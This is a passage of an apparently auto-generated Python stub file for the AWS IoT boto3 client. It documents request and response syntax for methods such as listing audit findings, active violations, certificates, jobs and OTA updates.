**roleArn** *(string) --* The IAM role ARN that has access to Elasticsearch. - **endpoint** *(string) --* The endpoint of your Elasticsearch domain. - **index** *(string) --* The Elasticsearch index where you want to store your data. - **type** *(string) --* The type of document you are storing. - **id** *(string) --* The unique identifier for the document you are storing. - **salesforce** *(dict) --* Send a message to a Salesforce IoT Cloud Input Stream. - **token** *(string) --* The token used to authenticate access to the Salesforce IoT Cloud Input Stream. The token is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **url** *(string) --* The URL exposed by the Salesforce IoT Cloud Input Stream. The URL is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **iotAnalytics** *(dict) --* Sends message data to an AWS IoT Analytics channel. - **channelArn** *(string) --* (deprecated) The ARN of the IoT Analytics channel to which message data will be sent. - **channelName** *(string) --* The name of the IoT Analytics channel to which message data will be sent. - **roleArn** *(string) --* The ARN of the role which has a policy that grants IoT Analytics permission to send message data via IoT Analytics (iotanalytics:BatchPutMessage). - **iotEvents** *(dict) --* Sends an input to an AWS IoT Events detector. - **inputName** *(string) --* The name of the AWS IoT Events input. - **messageId** *(string) --* [Optional] Use this to ensure that only one input (message) with a given messageId will be processed by an AWS IoT Events detector. - **roleArn** *(string) --* The ARN of the role that grants AWS IoT permission to send an input to an AWS IoT Events detector. ("Action":"iotevents:BatchPutMessage"). - **stepFunctions** *(dict) --* Starts execution of a Step Functions state machine. - **executionNamePrefix** *(string) --* (Optional) A name will be given to the state machine execution consisting of this prefix followed by a UUID. Step Functions automatically creates a unique name for each state machine execution if one is not provided. - **stateMachineName** *(string) --* The name of the Step Functions state machine whose execution will be started. - **roleArn** *(string) --* The ARN of the role that grants IoT permission to start execution of a state machine ("Action":"states:StartExecution"). :type ruleName: string :param ruleName: **[REQUIRED]** The name of the rule. :rtype: dict :returns: """ pass def get_v2_logging_options(self) -> Dict: """ Gets the fine grained logging options. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetV2LoggingOptions>`_ **Request Syntax** :: response = client.get_v2_logging_options() **Response Syntax** :: { 'roleArn': 'string', 'defaultLogLevel': 'DEBUG'|'INFO'|'ERROR'|'WARN'|'DISABLED', 'disableAllLogs': True|False } **Response Structure** - *(dict) --* - **roleArn** *(string) --* The IAM role ARN AWS IoT uses to write to your CloudWatch logs. - **defaultLogLevel** *(string) --* The default log level. - **disableAllLogs** *(boolean) --* Disables all logs. :rtype: dict :returns: """ pass def get_waiter(self, waiter_name: str = None) -> Waiter: """ Returns an object that can wait for some condition. :type waiter_name: str :param waiter_name: The name of the waiter to get. See the waiters section of the service docs for a list of available waiters. :returns: The specified waiter object. :rtype: botocore.waiter.Waiter """ pass def list_active_violations(self, thingName: str = None, securityProfileName: str = None, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the active violations for a given Device Defender security profile. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListActiveViolations>`_ **Request Syntax** :: response = client.list_active_violations( thingName='string', securityProfileName='string', nextToken='string', maxResults=123 ) **Response Syntax** :: { 'activeViolations': [ { 'violationId': 'string', 'thingName': 'string', 'securityProfileName': 'string', 'behavior': { 'name': 'string', 'metric': 'string', 'criteria': { 'comparisonOperator': 'less-than'|'less-than-equals'|'greater-than'|'greater-than-equals'|'in-cidr-set'|'not-in-cidr-set'|'in-port-set'|'not-in-port-set', 'value': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'durationSeconds': 123, 'consecutiveDatapointsToAlarm': 123, 'consecutiveDatapointsToClear': 123, 'statisticalThreshold': { 'statistic': 'string' } } }, 'lastViolationValue': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'lastViolationTime': datetime(2015, 1, 1), 'violationStartTime': datetime(2015, 1, 1) }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **activeViolations** *(list) --* The list of active violations. - *(dict) --* Information about an active Device Defender security profile behavior violation. - **violationId** *(string) --* The ID of the active violation. - **thingName** *(string) --* The name of the thing responsible for the active violation. - **securityProfileName** *(string) --* The security profile whose behavior is in violation. - **behavior** *(dict) --* The behavior which is being violated. - **name** *(string) --* The name you have given to the behavior. - **metric** *(string) --* What is measured by the behavior. - **criteria** *(dict) --* The criteria that determine if a device is behaving normally in regard to the ``metric`` . - **comparisonOperator** *(string) --* The operator that relates the thing measured (``metric`` ) to the criteria (containing a ``value`` or ``statisticalThreshold`` ). - **value** *(dict) --* The value to be compared with the ``metric`` . - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **durationSeconds** *(integer) --* Use this to specify the time duration over which the behavior is evaluated, for those criteria which have a time dimension (for example, ``NUM_MESSAGES_SENT`` ). For a ``statisticalThreshhold`` metric comparison, measurements from all devices are accumulated over this time duration before being used to calculate percentiles, and later, measurements from an individual device are also accumulated over this time duration before being given a percentile rank. - **consecutiveDatapointsToAlarm** *(integer) --* If a device is in violation of the behavior for the specified number of consecutive datapoints, an alarm occurs. If not specified, the default is 1. - **consecutiveDatapointsToClear** *(integer) --* If an alarm has occurred and the offending device is no longer in violation of the behavior for the specified number of consecutive datapoints, the alarm is cleared. If not specified, the default is 1. - **statisticalThreshold** *(dict) --* A statistical ranking (percentile) which indicates a threshold value by which a behavior is determined to be in compliance or in violation of the behavior. - **statistic** *(string) --* The percentile which resolves to a threshold value by which compliance with a behavior is determined. Metrics are collected over the specified period (``durationSeconds`` ) from all reporting devices in your account and statistical ranks are calculated. Then, the measurements from a device are collected over the same period. If the accumulated measurements from the device fall above or below (``comparisonOperator`` ) the value associated with the percentile specified, then the device is considered to be in compliance with the behavior, otherwise a violation occurs. - **lastViolationValue** *(dict) --* The value of the metric (the measurement) which caused the most recent violation. - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **lastViolationTime** *(datetime) --* The time the most recent violation occurred. - **violationStartTime** *(datetime) --* The time the violation started. - **nextToken** *(string) --* A token that can be used to retrieve the next set of results, or ``null`` if there are no additional results. :type thingName: string :param thingName: The name of the thing whose active violations are listed. :type securityProfileName: string :param securityProfileName: The name of the Device Defender security profile for which violations are listed. :type nextToken: string :param nextToken: The token for the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def list_attached_policies(self, target: str, recursive: bool = None, marker: str = None, pageSize: int = None) -> Dict: """ Lists the policies attached to the specified thing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListAttachedPolicies>`_ **Request Syntax** :: response = client.list_attached_policies( target='string', recursive=True|False, marker='string', pageSize=123 ) **Response Syntax** :: { 'policies': [ { 'policyName': 'string', 'policyArn': 'string' }, ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* - **policies** *(list) --* The policies. - *(dict) --* Describes an AWS IoT policy. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **nextMarker** *(string) --* The token to retrieve the next set of results, or ``null`` if there are no more results. :type target: string :param target: **[REQUIRED]** The group for which the policies will be listed. :type recursive: boolean :param recursive: When true, recursively list attached policies. :type marker: string :param marker: The token to retrieve the next set of results. :type pageSize: integer :param pageSize: The maximum number of results to be returned per request. :rtype: dict :returns: """ pass def list_audit_findings(self, taskId: str = None, checkName: str = None, resourceIdentifier: Dict = None, maxResults: int = None, nextToken: str = None, startTime: datetime = None, endTime: datetime = None) -> Dict: """ Lists the findings (results) of a Device Defender audit or of the audits performed during a specified time period. (Findings are retained for 180 days.) See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListAuditFindings>`_ **Request Syntax** :: response = client.list_audit_findings( taskId='string', checkName='string', resourceIdentifier={ 'deviceCertificateId': 'string', 'caCertificateId': 'string', 'cognitoIdentityPoolId': 'string', 'clientId': 'string', 'policyVersionIdentifier': { 'policyName': 'string', 'policyVersionId': 'string' }, 'account': 'string' }, maxResults=123, nextToken='string', startTime=datetime(2015, 1, 1), endTime=datetime(2015, 1, 1) ) **Response Syntax** :: { 'findings': [ { 'taskId': 'string', 'checkName': 'string', 'taskStartTime': datetime(2015, 1, 1), 'findingTime': datetime(2015, 1, 1), 'severity': 'CRITICAL'|'HIGH'|'MEDIUM'|'LOW', 'nonCompliantResource': { 'resourceType': 'DEVICE_CERTIFICATE'|'CA_CERTIFICATE'|'IOT_POLICY'|'COGNITO_IDENTITY_POOL'|'CLIENT_ID'|'ACCOUNT_SETTINGS', 'resourceIdentifier': { 'deviceCertificateId': 'string', 'caCertificateId': 'string', 'cognitoIdentityPoolId': 'string', 'clientId': 'string', 'policyVersionIdentifier': { 'policyName': 'string', 'policyVersionId': 'string' }, 'account': 'string' }, 'additionalInfo': { 'string': 'string' } }, 'relatedResources': [ { 'resourceType': 'DEVICE_CERTIFICATE'|'CA_CERTIFICATE'|'IOT_POLICY'|'COGNITO_IDENTITY_POOL'|'CLIENT_ID'|'ACCOUNT_SETTINGS', 'resourceIdentifier': { 'deviceCertificateId': 'string', 'caCertificateId': 'string', 'cognitoIdentityPoolId': 'string', 'clientId': 'string', 'policyVersionIdentifier': { 'policyName': 'string', 'policyVersionId': 'string' }, 'account': 'string' }, 'additionalInfo': { 'string': 'string' } }, ], 'reasonForNonCompliance': 'string', 'reasonForNonComplianceCode': 'string' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **findings** *(list) --* The findings (results) of the audit. - *(dict) --* The findings (results) of the audit. - **taskId** *(string) --* The ID of the audit that generated this result (finding) - **checkName** *(string) --* The audit check that generated this result. - **taskStartTime** *(datetime) --* The time the audit started. - **findingTime** *(datetime) --* The time the result (finding) was discovered. - **severity** *(string) --* The severity of the result (finding). - **nonCompliantResource** *(dict) --* The resource that was found to be non-compliant with the audit check. - **resourceType** *(string) --* The type of the non-compliant resource. - **resourceIdentifier** *(dict) --* Information identifying the non-compliant resource. - **deviceCertificateId** *(string) --* The ID of the certificate attached to the resource. - **caCertificateId** *(string) --* The ID of the CA certificate used to authorize the certificate. - **cognitoIdentityPoolId** *(string) --* The ID of the Cognito Identity Pool. - **clientId** *(string) --* The client ID. - **policyVersionIdentifier** *(dict) --* The version of the policy associated with the resource. - **policyName** *(string) --* The name of the policy. - **policyVersionId** *(string) --* The ID of the version of the policy associated with the resource. - **account** *(string) --* The account with which the resource is associated. - **additionalInfo** *(dict) --* Additional information about the non-compliant resource. - *(string) --* - *(string) --* - **relatedResources** *(list) --* The list of related resources. - *(dict) --* Information about a related resource. - **resourceType** *(string) --* The type of resource. - **resourceIdentifier** *(dict) --* Information identifying the resource. - **deviceCertificateId** *(string) --* The ID of the certificate attached to the resource. - **caCertificateId** *(string) --* The ID of the CA certificate used to authorize the certificate. - **cognitoIdentityPoolId** *(string) --* The ID of the Cognito Identity Pool. - **clientId** *(string) --* The client ID. - **policyVersionIdentifier** *(dict) --* The version of the policy associated with the resource. - **policyName** *(string) --* The name of the policy. - **policyVersionId** *(string) --* The ID of the version of the policy associated with the resource. - **account** *(string) --* The account with which the resource is associated. - **additionalInfo** *(dict) --* Additional information about the resource. - *(string) --* - *(string) --* - **reasonForNonCompliance** *(string) --* The reason the resource was non-compliant. - **reasonForNonComplianceCode** *(string) --* A code which indicates the reason that the resource was non-compliant. - **nextToken** *(string) --* A token that can be used to retrieve the next set of results, or ``null`` if there are no additional results. :type taskId: string :param taskId: A filter to limit results to the audit with the specified ID. You must specify either the taskId or the startTime and endTime, but not both. :type checkName: string :param checkName: A filter to limit results to the findings for the specified audit check. :type resourceIdentifier: dict :param resourceIdentifier: Information identifying the non-compliant resource. - **deviceCertificateId** *(string) --* The ID of the certificate attached to the resource. - **caCertificateId** *(string) --* The ID of the CA certificate used to authorize the certificate. - **cognitoIdentityPoolId** *(string) --* The ID of the Cognito Identity Pool. - **clientId** *(string) --* The client ID. - **policyVersionIdentifier** *(dict) --* The version of the policy associated with the resource. - **policyName** *(string) --* The name of the policy. - **policyVersionId** *(string) --* The ID of the version of the policy associated with the resource. - **account** *(string) --* The account with which the resource is associated. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. The default is 25. :type nextToken: string :param nextToken: The token for the next set of results. :type startTime: datetime :param startTime: A filter to limit results to those found after the specified time. You must specify either the startTime and endTime or the taskId, but not both. :type endTime: datetime :param endTime: A filter to limit results to those found before the specified time. You must specify either the startTime and endTime or the taskId, but not both. :rtype: dict :returns: """ pass def list_audit_tasks(self, startTime: datetime, endTime: datetime, taskType: str = None, taskStatus: str = None, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the Device Defender audits that have been performed during a given time period. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListAuditTasks>`_ **Request Syntax** :: response = client.list_audit_tasks( startTime=datetime(2015, 1, 1), endTime=datetime(2015, 1, 1), taskType='ON_DEMAND_AUDIT_TASK'|'SCHEDULED_AUDIT_TASK', taskStatus='IN_PROGRESS'|'COMPLETED'|'FAILED'|'CANCELED', nextToken='string', maxResults=123 ) **Response Syntax** :: { 'tasks': [ { 'taskId': 'string', 'taskStatus': 'IN_PROGRESS'|'COMPLETED'|'FAILED'|'CANCELED', 'taskType': 'ON_DEMAND_AUDIT_TASK'|'SCHEDULED_AUDIT_TASK' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **tasks** *(list) --* The audits that were performed during the specified time period. - *(dict) --* The audits that were performed. - **taskId** *(string) --* The ID of this audit. - **taskStatus** *(string) --* The status of this audit: one of "IN_PROGRESS", "COMPLETED", "FAILED" or "CANCELED". - **taskType** *(string) --* The type of this audit: one of "ON_DEMAND_AUDIT_TASK" or "SCHEDULED_AUDIT_TASK". - **nextToken** *(string) --* A token that can be used to retrieve the next set of results, or ``null`` if there are no additional results. :type startTime: datetime :param startTime: **[REQUIRED]** The beginning of the time period. Note that audit information is retained for a limited time (180 days). Requesting a start time prior to what is retained results in an \"InvalidRequestException\". :type endTime: datetime :param endTime: **[REQUIRED]** The end of the time period. :type taskType: string :param taskType: A filter to limit the output to the specified type of audit: can be one of \"ON_DEMAND_AUDIT_TASK\" or \"SCHEDULED__AUDIT_TASK\". :type taskStatus: string :param taskStatus: A filter to limit the output to audits with the specified completion status: can be one of \"IN_PROGRESS\", \"COMPLETED\", \"FAILED\" or \"CANCELED\". :type nextToken: string :param nextToken: The token for the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. The default is 25. :rtype: dict :returns: """ pass def list_authorizers(self, pageSize: int = None, marker: str = None, ascendingOrder: bool = None, status: str = None) -> Dict: """ Lists the authorizers registered in your account. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListAuthorizers>`_ **Request Syntax** :: response = client.list_authorizers( pageSize=123, marker='string', ascendingOrder=True|False, status='ACTIVE'|'INACTIVE' ) **Response Syntax** :: { 'authorizers': [ { 'authorizerName': 'string', 'authorizerArn': 'string' }, ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* - **authorizers** *(list) --* The authorizers. - *(dict) --* The authorizer summary. - **authorizerName** *(string) --* The authorizer name. - **authorizerArn** *(string) --* The authorizer ARN. - **nextMarker** *(string) --* A marker used to get the next set of results. :type pageSize: integer :param pageSize: The maximum number of results to return at one time. :type marker: string :param marker: A marker used to get the next set of results. :type ascendingOrder: boolean :param ascendingOrder: Return the list of authorizers in ascending alphabetical order. :type status: string :param status: The status of the list authorizers request. :rtype: dict :returns: """ pass def list_billing_groups(self, nextToken: str = None, maxResults: int = None, namePrefixFilter: str = None) -> Dict: """ Lists the billing groups you have created. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListBillingGroups>`_ **Request Syntax** :: response = client.list_billing_groups( nextToken='string', maxResults=123, namePrefixFilter='string' ) **Response Syntax** :: { 'billingGroups': [ { 'groupName': 'string', 'groupArn': 'string' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **billingGroups** *(list) --* The list of billing groups. - *(dict) --* The name and ARN of a group. - **groupName** *(string) --* The group name. - **groupArn** *(string) --* The group ARN. - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return per request. :type namePrefixFilter: string :param namePrefixFilter: Limit the results to billing groups whose names have the given prefix. :rtype: dict :returns: """ pass def list_ca_certificates(self, pageSize: int = None, marker: str = None, ascendingOrder: bool = None) -> Dict: """ Lists the CA certificates registered for your AWS account. The results are paginated with a default page size of 25. You can use the returned marker to retrieve additional results. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListCACertificates>`_ **Request Syntax** :: response = client.list_ca_certificates( pageSize=123, marker='string', ascendingOrder=True|False ) **Response Syntax** :: { 'certificates': [ { 'certificateArn': 'string', 'certificateId': 'string', 'status': 'ACTIVE'|'INACTIVE', 'creationDate': datetime(2015, 1, 1) }, ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* The output from the ListCACertificates operation. - **certificates** *(list) --* The CA certificates registered in your AWS account. - *(dict) --* A CA certificate. - **certificateArn** *(string) --* The ARN of the CA certificate. - **certificateId** *(string) --* The ID of the CA certificate. - **status** *(string) --* The status of the CA certificate. The status value REGISTER_INACTIVE is deprecated and should not be used. - **creationDate** *(datetime) --* The date the CA certificate was created. - **nextMarker** *(string) --* The current position within the list of CA certificates. :type pageSize: integer :param pageSize: The result page size. :type marker: string :param marker: The marker for the next set of results. :type ascendingOrder: boolean :param ascendingOrder: Determines the order of the results. :rtype: dict :returns: """ pass def list_certificates(self, pageSize: int = None, marker: str = None, ascendingOrder: bool = None) -> Dict: """ Lists the certificates registered in your AWS account. The results are paginated with a default page size of 25. You can use the returned marker to retrieve additional results. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListCertificates>`_ **Request Syntax** :: response = client.list_certificates( pageSize=123, marker='string', ascendingOrder=True|False ) **Response Syntax** :: { 'certificates': [ { 'certificateArn': 'string', 'certificateId': 'string', 'status': 'ACTIVE'|'INACTIVE'|'REVOKED'|'PENDING_TRANSFER'|'REGISTER_INACTIVE'|'PENDING_ACTIVATION', 'creationDate': datetime(2015, 1, 1) }, ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* The output of the ListCertificates operation. - **certificates** *(list) --* The descriptions of the certificates. - *(dict) --* Information about a certificate. - **certificateArn** *(string) --* The ARN of the certificate. - **certificateId** *(string) --* The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) - **status** *(string) --* The status of the certificate. The status value REGISTER_INACTIVE is deprecated and should not be used. - **creationDate** *(datetime) --* The date and time the certificate was created. - **nextMarker** *(string) --* The marker for the next set of results, or null if there are no additional results. :type pageSize: integer :param pageSize: The result page size. :type marker: string :param marker: The marker for the next set of results. :type ascendingOrder: boolean :param ascendingOrder: Specifies the order for results. If True, the results are returned in ascending order, based on the creation date. :rtype: dict :returns: """ pass def list_certificates_by_ca(self, caCertificateId: str, pageSize: int = None, marker: str = None, ascendingOrder: bool = None) -> Dict: """ List the device certificates signed by the specified CA certificate. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListCertificatesByCA>`_ **Request Syntax** :: response = client.list_certificates_by_ca( caCertificateId='string', pageSize=123, marker='string', ascendingOrder=True|False ) **Response Syntax** :: { 'certificates': [ { 'certificateArn': 'string', 'certificateId': 'string', 'status': 'ACTIVE'|'INACTIVE'|'REVOKED'|'PENDING_TRANSFER'|'REGISTER_INACTIVE'|'PENDING_ACTIVATION', 'creationDate': datetime(2015, 1, 1) }, ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* The output of the ListCertificatesByCA operation. - **certificates** *(list) --* The device certificates signed by the specified CA certificate. - *(dict) --* Information about a certificate. - **certificateArn** *(string) --* The ARN of the certificate. - **certificateId** *(string) --* The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) - **status** *(string) --* The status of the certificate. The status value REGISTER_INACTIVE is deprecated and should not be used. - **creationDate** *(datetime) --* The date and time the certificate was created. - **nextMarker** *(string) --* The marker for the next set of results, or null if there are no additional results. :type caCertificateId: string :param caCertificateId: **[REQUIRED]** The ID of the CA certificate. This operation will list all registered device certificate that were signed by this CA certificate. :type pageSize: integer :param pageSize: The result page size. :type marker: string :param marker: The marker for the next set of results. :type ascendingOrder: boolean :param ascendingOrder: Specifies the order for results. If True, the results are returned in ascending order, based on the creation date. :rtype: dict :returns: """ pass def list_indices(self, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the search indices. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListIndices>`_ **Request Syntax** :: response = client.list_indices( nextToken='string', maxResults=123 ) **Response Syntax** :: { 'indexNames': [ 'string', ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **indexNames** *(list) --* The index names. - *(string) --* - **nextToken** *(string) --* The token used to get the next set of results, or null if there are no additional results. :type nextToken: string :param nextToken: The token used to get the next set of results, or null if there are no additional results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def list_job_executions_for_job(self, jobId: str, status: str = None, maxResults: int = None, nextToken: str = None) -> Dict: """ Lists the job executions for a job. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListJobExecutionsForJob>`_ **Request Syntax** :: response = client.list_job_executions_for_job( jobId='string', status='QUEUED'|'IN_PROGRESS'|'SUCCEEDED'|'FAILED'|'TIMED_OUT'|'REJECTED'|'REMOVED'|'CANCELED', maxResults=123, nextToken='string' ) **Response Syntax** :: { 'executionSummaries': [ { 'thingArn': 'string', 'jobExecutionSummary': { 'status': 'QUEUED'|'IN_PROGRESS'|'SUCCEEDED'|'FAILED'|'TIMED_OUT'|'REJECTED'|'REMOVED'|'CANCELED', 'queuedAt': datetime(2015, 1, 1), 'startedAt': datetime(2015, 1, 1), 'lastUpdatedAt': datetime(2015, 1, 1), 'executionNumber': 123 } }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **executionSummaries** *(list) --* A list of job execution summaries. - *(dict) --* Contains a summary of information about job executions for a specific job. - **thingArn** *(string) --* The ARN of the thing on which the job execution is running. - **jobExecutionSummary** *(dict) --* Contains a subset of information about a job execution. - **status** *(string) --* The status of the job execution. - **queuedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution was queued. - **startedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution started. - **lastUpdatedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution was last updated. - **executionNumber** *(integer) --* A string (consisting of the digits "0" through "9") which identifies this particular job execution on this particular device. It can be used later in commands which return or update job execution information. - **nextToken** *(string) --* The token for the next set of results, or **null** if there are no additional results. :type jobId: string :param jobId: **[REQUIRED]** The unique identifier you assigned to this job when it was created. :type status: string :param status: The status of the job. :type maxResults: integer :param maxResults: The maximum number of results to be returned per request. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :rtype: dict :returns: """ pass def list_job_executions_for_thing(self, thingName: str, status: str = None, maxResults: int = None, nextToken: str = None) -> Dict: """ Lists the job executions for the specified thing. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListJobExecutionsForThing>`_ **Request Syntax** :: response = client.list_job_executions_for_thing( thingName='string', status='QUEUED'|'IN_PROGRESS'|'SUCCEEDED'|'FAILED'|'TIMED_OUT'|'REJECTED'|'REMOVED'|'CANCELED', maxResults=123, nextToken='string' ) **Response Syntax** :: { 'executionSummaries': [ { 'jobId': 'string', 'jobExecutionSummary': { 'status': 'QUEUED'|'IN_PROGRESS'|'SUCCEEDED'|'FAILED'|'TIMED_OUT'|'REJECTED'|'REMOVED'|'CANCELED', 'queuedAt': datetime(2015, 1, 1), 'startedAt': datetime(2015, 1, 1), 'lastUpdatedAt': datetime(2015, 1, 1), 'executionNumber': 123 } }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **executionSummaries** *(list) --* A list of job execution summaries. - *(dict) --* The job execution summary for a thing. - **jobId** *(string) --* The unique identifier you assigned to this job when it was created. - **jobExecutionSummary** *(dict) --* Contains a subset of information about a job execution. - **status** *(string) --* The status of the job execution. - **queuedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution was queued. - **startedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution started. - **lastUpdatedAt** *(datetime) --* The time, in seconds since the epoch, when the job execution was last updated. - **executionNumber** *(integer) --* A string (consisting of the digits "0" through "9") which identifies this particular job execution on this particular device. It can be used later in commands which return or update job execution information. - **nextToken** *(string) --* The token for the next set of results, or **null** if there are no additional results. :type thingName: string :param thingName: **[REQUIRED]** The thing name. :type status: string :param status: An optional filter that lets you search for jobs that have the specified status. :type maxResults: integer :param maxResults: The maximum number of results to be returned per request. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :rtype: dict :returns: """ pass def list_jobs(self, status: str = None, targetSelection: str = None, maxResults: int = None, nextToken: str = None, thingGroupName: str = None, thingGroupId: str = None) -> Dict: """ Lists jobs. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListJobs>`_ **Request Syntax** :: response = client.list_jobs( status='IN_PROGRESS'|'CANCELED'|'COMPLETED'|'DELETION_IN_PROGRESS', targetSelection='CONTINUOUS'|'SNAPSHOT', maxResults=123, nextToken='string', thingGroupName='string', thingGroupId='string' ) **Response Syntax** :: { 'jobs': [ { 'jobArn': 'string', 'jobId': 'string', 'thingGroupId': 'string', 'targetSelection': 'CONTINUOUS'|'SNAPSHOT', 'status': 'IN_PROGRESS'|'CANCELED'|'COMPLETED'|'DELETION_IN_PROGRESS', 'createdAt': datetime(2015, 1, 1), 'lastUpdatedAt': datetime(2015, 1, 1), 'completedAt': datetime(2015, 1, 1) }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **jobs** *(list) --* A list of jobs. - *(dict) --* The job summary. - **jobArn** *(string) --* The job ARN. - **jobId** *(string) --* The unique identifier you assigned to this job when it was created. - **thingGroupId** *(string) --* The ID of the thing group. - **targetSelection** *(string) --* Specifies whether the job will continue to run (CONTINUOUS), or will be complete after all those things specified as targets have completed the job (SNAPSHOT). If continuous, the job may also be run on a thing when a change is detected in a target. For example, a job will run on a thing when the thing is added to a target group, even after the job was completed by all things originally in the group. - **status** *(string) --* The job summary status. - **createdAt** *(datetime) --* The time, in seconds since the epoch, when the job was created. - **lastUpdatedAt** *(datetime) --* The time, in seconds since the epoch, when the job was last updated. - **completedAt** *(datetime) --* The time, in seconds since the epoch, when the job completed. - **nextToken** *(string) --* The token for the next set of results, or **null** if there are no additional results. :type status: string :param status: An optional filter that lets you search for jobs that have the specified status. :type targetSelection: string :param targetSelection: Specifies whether the job will continue to run (CONTINUOUS), or will be complete after all those things specified as targets have completed the job (SNAPSHOT). If continuous, the job may also be run on a thing when a change is detected in a target. For example, a job will run on a thing when the thing is added to a target group, even after the job was completed by all things originally in the group. :type maxResults: integer :param maxResults: The maximum number of results to return per request. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type thingGroupName: string :param thingGroupName: A filter that limits the returned jobs to those for the specified group. :type thingGroupId: string :param thingGroupId: A filter that limits the returned jobs to those for the specified group. :rtype: dict :returns: """ pass def list_ota_updates(self, maxResults: int = None, nextToken: str = None, otaUpdateStatus: str = None) -> Dict: """ Lists OTA updates. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListOTAUpdates>`_ **Request Syntax** :: response = client.list_ota_updates( maxResults=123, nextToken='string', otaUpdateStatus='CREATE_PENDING'|'CREATE_IN_PROGRESS'|'CREATE_COMPLETE'|'CREATE_FAILED' ) **Response Syntax** :: { 'otaUpdates': [ { 'otaUpdateId': 'string', 'otaUpdateArn': 'string', 'creationDate': datetime(2015, 1, 1) }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **otaUpdates** *(list) --* A list of OTA update jobs. - *(dict) --* An OTA update summary. - **otaUpdateId** *(string) --* The OTA update ID. - **otaUpdateArn** *(string) --* The OTA update ARN. - **creationDate** *(datetime) --* The date when the OTA update was created. - **nextToken** *(string) --* A token to use to get the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :type nextToken: string :param nextToken: A token used to retrieve the next set of results. :type otaUpdateStatus: string :param otaUpdateStatus: The OTA update job status. :rtype: dict :returns: """ pass def list_outgoing_certificates(self, pageSize: int = None, marker: str = None, ascendingOrder: bool = None) -> Dict: """ Lists certificates that are being transferred but not yet accepted. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListOutgoingCertificates>`_ **Request Syntax** :: response = client.list_outgoing_certificates( pageSize=123, marker='string', ascendingOrder=True|False ) **Response Syntax** :: { 'outgoingCertificates': [ { 'certificateArn': 'string', 'certificateId': 'string', 'transferredTo': 'string', 'transferDate': datetime(2015, 1, 1), 'transferMessage': 'string', 'creationDate': datetime(2015, 1, 1) }, ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* The output from the ListOutgoingCertificates operation. - **outgoingCertificates** *(list) --* The certificates that are being transferred but not yet 